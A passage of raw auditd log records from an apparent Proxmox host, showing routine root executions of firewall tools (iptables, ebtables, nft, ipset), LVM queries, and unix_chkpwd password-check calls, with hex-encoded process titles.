dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.337:65484): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964664087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.087:62028): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966165955,"@rawstring":"node=pve type=PATH msg=audit(1781966165.955:68706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.334:65483): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964660512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.512:62026): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=77580537bda6 a2=80000 a3=0 items=1 ppid=1215 pid=59501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165955,"@rawstring":"node=pve type=PATH msg=audit(1781966165.955:68706): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.332:65482): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964660510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.510:62025): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PATH msg=audit(1781966165.660:68705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.332:65481): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964660471,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.471:62024): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=70c056139da6 a2=80000 a3=0 items=1 ppid=1215 pid=59500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PATH msg=audit(1781966165.660:68705): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.328:65480): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964660469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.469:62023): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PATH msg=audit(1781966165.660:68704): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.320:65479): proctitle=\"ip6tables-save\""} {"@timestamp":1781964660192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.192:62022): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PATH msg=audit(1781966165.660:68703): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.314:65478): proctitle=\"iptables-save\""} {"@timestamp":1781964660182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.182:62019): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PATH msg=audit(1781966165.646:68702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.306:65477): proctitle=\"ip6tables-save\""} {"@timestamp":1781964656891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.891:62015): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=78e9e8917da6 a2=80000 a3=0 items=1 ppid=1216 pid=59497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PATH msg=audit(1781966165.646:68702): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.300:65476): proctitle=\"iptables-save\""} {"@timestamp":1781964656887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.887:62014): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PATH msg=audit(1781966165.646:68701): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.296:65475): proctitle=\"ebtables-restore\""} {"@timestamp":1781964656852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.852:62013): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=720bcbc82da6 a2=80000 a3=0 items=1 ppid=1216 pid=59496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PATH msg=audit(1781966165.646:68700): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.294:65474): proctitle=\"ebtables-restore\""} {"@timestamp":1781964656848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.848:62012): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966164769,"@rawstring":"node=pve type=PATH msg=audit(1781966164.769:68699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.290:65473): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964656032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.032:62011): arch=c000003e syscall=59 success=yes exit=0 a0=63ca0c64aed0 a1=63ca0c647c50 a2=63ca0c629680 a3=5 items=2 ppid=59489 pid=59495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966164769,"@rawstring":"node=pve type=PATH msg=audit(1781966164.769:68699): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.285:65472): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964656029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.029:62010): arch=c000003e syscall=59 success=yes exit=0 a0=63c9f6a2cac8 a1=7fffd60eae30 a2=63ca0c629680 a3=63c9f6a1024e items=2 ppid=59489 pid=59491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966164728,"@rawstring":"node=pve type=PATH msg=audit(1781966164.728:68698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.277:65471): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.028:62009): arch=c000003e syscall=59 success=yes exit=0 a0=7fffd60eadf0 a1=63ca0c630310 a2=63ca0c629680 a3=5 items=2 ppid=59489 pid=59490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966164728,"@rawstring":"node=pve type=PATH msg=audit(1781966164.728:68698): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.271:65470): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.024:62007): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PATH msg=audit(1781966160.632:68697): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.266:65469): proctitle=697073657400726573746F7265"} {"@timestamp":1781964656019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.019:62006): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PATH msg=audit(1781966160.632:68697): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.259:65468): proctitle=\"ip6tables-save\""} {"@timestamp":1781964656013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.013:62005): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PATH msg=audit(1781966160.632:68696): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.253:65467): proctitle=\"iptables-save\""} {"@timestamp":1781964656006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.006:62004): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PATH msg=audit(1781966160.632:68695): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.249:65466): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964656000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964656.000:62003): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=PATH msg=audit(1781966160.627:68694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.245:65465): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964655997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.997:62002): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59c065d59740 items=0 ppid=1156 pid=59484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966160627,"@rawstring":"node=pve type=PATH msg=audit(1781966160.627:68694): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.245:65464): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964655995,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.995:62001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13af00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=PATH msg=audit(1781966160.627:68693): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.243:65463): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964655991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.991:62000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0dea30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160626,"@rawstring":"node=pve type=PATH msg=audit(1781966160.626:68692): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.241:65462): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964655985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.985:61999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155940,"@rawstring":"node=pve type=PATH msg=audit(1781966155.940:68691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.233:65461): proctitle=\"ip6tables-save\""} {"@timestamp":1781964655981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.981:61998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dea00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155940,"@rawstring":"node=pve type=PATH msg=audit(1781966155.940:68691): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.225:65460): proctitle=\"iptables-save\""} {"@timestamp":1781964655975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.975:61997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PATH msg=audit(1781966155.936:68690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.221:65459): proctitle=69707365740073617665"} {"@timestamp":1781964655970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.970:61996): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PATH msg=audit(1781966155.936:68690): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.213:65458): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964655964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.964:61995): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PATH msg=audit(1781966155.936:68689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965405.205:65457): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964655958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.958:61994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PATH msg=audit(1781966155.936:68689): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965404.985:65456): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964655955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.955:61993): arch=c000003e syscall=59 success=yes exit=0 a0=58b32f77fed0 a1=58b32f77cc50 a2=58b32f75e680 a3=5 items=2 ppid=59470 pid=59476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PATH msg=audit(1781966155.936:68688): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965404.959:65455): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964655952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.952:61992): arch=c000003e syscall=59 success=yes exit=0 a0=58b2f655cac8 a1=7ffe9a1c6e20 a2=58b32f75e680 a3=58b2f654024e items=2 ppid=59470 pid=59472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155932,"@rawstring":"node=pve type=PATH msg=audit(1781966155.932:68687): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965402.884:65454): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964655951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964655.951:61991): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe9a1c6de0 a1=58b32f765310 a2=58b32f75e680 a3=5 items=2 ppid=59470 pid=59471 auid=4294967295 uid=0 gid=0 euid=0 